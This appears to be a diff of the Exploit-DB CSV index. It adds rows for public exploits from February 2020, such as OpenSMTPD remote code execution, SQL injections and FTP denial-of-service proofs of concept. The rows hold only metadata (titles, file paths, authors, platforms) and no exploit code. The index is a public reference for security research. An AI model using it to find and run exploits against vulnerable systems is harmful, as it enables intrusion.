48136,exploits/windows/dos/48136.py,"Odin Secure FTP Expert 7.6.3 - Denial of Service (PoC)",2020-02-25,"berat isler",dos,windows, +48137,exploits/windows/dos/48137.py,"Core FTP LE 2.2 - Denial of Service (PoC)",2020-02-26,"Ismael Nava",dos,windows, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -18015,6 +18016,8 @@ id,file,description,date,author,type,platform,port 48053,exploits/windows/remote/48053.py,"Microsoft SharePoint - Deserialization Remote Code Execution",2020-01-21,Voulnet,remote,windows, 48092,exploits/windows/remote/48092.rb,"Anviz CrossChex - Buffer Overflow (Metasploit)",2020-02-17,Metasploit,remote,windows, 48130,exploits/linux/remote/48130.rb,"Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)",2020-02-24,Metasploit,remote,linux, +48139,exploits/linux/remote/48139.c,"OpenSMTPD 6.6.3 - Arbitrary File Read",2020-02-26,"Qualys Corporation",remote,linux, +48140,exploits/openbsd/remote/48140.c,"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution",2020-02-26,"Qualys Corporation",remote,openbsd, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -42387,6 +42390,7 @@ id,file,description,date,author,type,platform,port 48098,exploits/hardware/webapps/48098.py,"Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak",2020-02-19,byteGoblin,webapps,hardware, 48099,exploits/php/webapps/48099.txt,"Easy2Pilot 7 - Cross-Site Request Forgery (Add User)",2020-02-20,indoushka,webapps,php, 48105,exploits/hardware/webapps/48105.txt,"Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting",2020-02-24,"Scott Goodwin",webapps,hardware, +48106,exploits/php/webapps/48106.txt,"GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection",2020-02-24,emaragkos,webapps,php, 48107,exploits/hardware/webapps/48107.pl,"ESCAM QD-900 WIFI HD Camera - Remote Configuration Disclosure",2020-02-24,"Todor Donev",webapps,hardware, 48108,exploits/multiple/webapps/48108.txt,"Real Web Pentesting Tutorial Step by Step - [Persian]",2020-02-24,"Meisam Monsef",webapps,multiple, 48109,exploits/php/webapps/48109.txt,"AMSS++ v 4.31 - 'id' SQL Injection",2020-02-24,indoushka,webapps,php, @@ -42404,3 +42408,4 @@ id,file,description,date,author,type,platform,port 48128,exploits/php/webapps/48128.py,"Cacti 1.2.8 - Remote Code Execution",2020-02-24,Askar,webapps,php, 48134,exploits/php/webapps/48134.php,"WordPress Plugin WooCommerce CardGate Payment Gateway 3.1.15 - Payment Process Bypass",2020-02-25,GeekHack,webapps,php, 48135,exploits/php/webapps/48135.php,"Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass",2020-02-25,GeekHack,webapps,php, +48138,exploits/php/webapps/48138.txt,"PhpIX 2012 Professional - 'id' SQL Injection",2020-02-26,indoushka,webapps,php,